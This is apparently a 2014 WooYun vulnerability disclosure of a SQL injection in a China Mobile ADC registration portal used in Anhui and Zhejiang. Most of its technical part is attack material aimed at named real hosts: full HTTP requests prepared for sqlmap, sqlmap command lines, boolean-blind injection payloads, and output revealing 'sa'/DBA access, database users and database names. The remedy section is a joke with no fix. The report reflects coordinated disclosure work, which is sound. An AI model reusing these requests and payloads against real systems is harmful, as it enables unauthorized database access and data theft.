当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-068206

漏洞标题：中国移动某套ADC系统SQL注射

相关厂商：中国移动

漏洞作者： 超威蓝猫

提交时间：2014-07-11 21:10

修复时间：2014-08-25 21:12

公开时间：2014-08-25 21:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-11： 细节已通知厂商并且等待厂商处理中
2014-07-16： 厂商已经确认，细节仅向厂商公开
2014-07-26： 细节向核心白帽子及相关领域专家公开
2014-08-05： 细节向普通白帽子公开
2014-08-15： 细节向实习白帽子公开
2014-08-25： 细节向公众公开

简要描述：

中国移动某套ADC系统SQL注射 有两个省份都在用哦
(ADC是Application Data Center啦不是Attack Damage Carry ._.

详细说明：

安徽( http://adc.ah.chinamobile.com/ ) 和浙江( http://www.zjadc.com/ )都在用这套ADC系统。
该系统注册页的"检测可用性"功能存在SQL注射。
注册页:

http://adc.ah.chinamobile.com/ADCCSSPortal/SI/Register1.aspx
http://www.zjadc.com/ADCCSSPortal/SI/Register1.aspx


01.jpg

02.jpg


以下是给sqlmap用的http请求包

POST //ADCCSSPortal/SI/Register1.aspx HTTP/1.1
Host: www.zjadc.com
Proxy-Connection: keep-alive
Content-Length: 1531
Cache-Control: no-cache
Origin: http://www.zjadc.com
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.zjadc.com//ADCCSSPortal/SI/Register1.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: ASP.NET_SessionId=pc5l43vnxoihrh45gbtxsf55
ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=&ctl00$ContentPlaceHolder1$TextBoxSIChName=admin*&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B


POST /ADCCSSPortal/SI/Register1.aspx HTTP/1.1
Host: adc.ah.chinamobile.com
Proxy-Connection: keep-alive
Content-Length: 5804
Cache-Control: no-cache
Origin: http://adc.ah.chinamobile.com
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://adc.ah.chinamobile.com/ADCCSSPortal/SI/Register1.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: tab1=tabl1; tabPage1=tabPage1; show_item=tab1; show_body=tabPage1; _ca_tk=ue0a6zlt80fttp3noh0s52fwmd6wncaj; _ga=GA1.2.899063312.1395497119; ASP.NET_SessionId=ulhpe555xfvvau45t43hwkyh
ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&ctl00$ContentPlaceHolder1$TextBoxSIChName=admin*&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B

漏洞证明：

sqlmap.py -r E:\zj.txt --dbms=mssql --technique=B --risk=3 --level=3 --string="1484" --dbs --current-user --current-db --users


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: (custom) POST
Parameter: #1*
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=&ctl00$ContentPlaceHolder1$TextBoxSIChName=-4887' OR (6995=6995) AND 'bXCv'='bXCv&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2012
current user:    'sa'
current database:    'ZJADC'
database management system users [14]:
[*] ##MS_AgentSigningCertificate##
[*] ##MS_SQLAuthenticatorCertificate##
[*] ##MS_SQLReplicationSigningCertificate##
[*] ##MS_SQLResourceSigningCertificate##
[*] BackUpUser
[*] BUILTIN\Administrators
[*] NT AUTHORITY\SYSTEM
[*] sa
[*] ZJADC
[*] ZJADC\chenhl
[*] ZJADC\lizm
[*] ZJADC\SqlAgent
[*] ZJADC\SqlSearch
[*] ZJADC\Sqlserver
available databases [8]:
[*] master
[*] model
[*] msdb
[*] OpenMASForum
[*] tempdb
[*] ZJADC
[*] ZJADCHis
[*] ZJADCTemp


sqlmap.py -r E:\ah.txt --dbms=mssql --technique=B --risk=3 --level=3 --string="1332" --dbs --current-user --current-db --is-DBA


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: (custom) POST
Parameter: #1*
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&ctl00$ContentPlaceHolder1$TextBoxSIChName=-1050' OR (4265=4265) AND 'FiLh'='FiLh&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2012
current user:    'ahadc'
current database:    'ADCDB'
current user is DBA:    True
available databases [9]:
[*] ADCBSTest
[*] ADCDB
[*] adcDBOmsData
[*] InterfaceRecord
[*] master
[*] model
[*] msdb
[*] simugate
[*] tempdb

修复方案：

移动更专业:)

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-07-16 10:47

厂商回复：

CNVD确认并复现所述情况(仅确认其中一例)，已经转由CNCERT直接通报给中国移动集团公司，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-07-11 22:20 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

    ADC? APC

  2. 2014-07-12 12:20 | 小小泥娃 ( 路人 | Rank:20 漏洞数:4 | 高二)

    扑通...

  3. 2014-07-12 13:39 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    ADC是啥？远程输出？

  4. 2014-07-15 21:05 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    @小小泥娃 跪了？

  5. 2014-07-21 11:26 | 小小泥娃 ( 路人 | Rank:20 漏洞数:4 | 高二)

    @乌帽子 跪了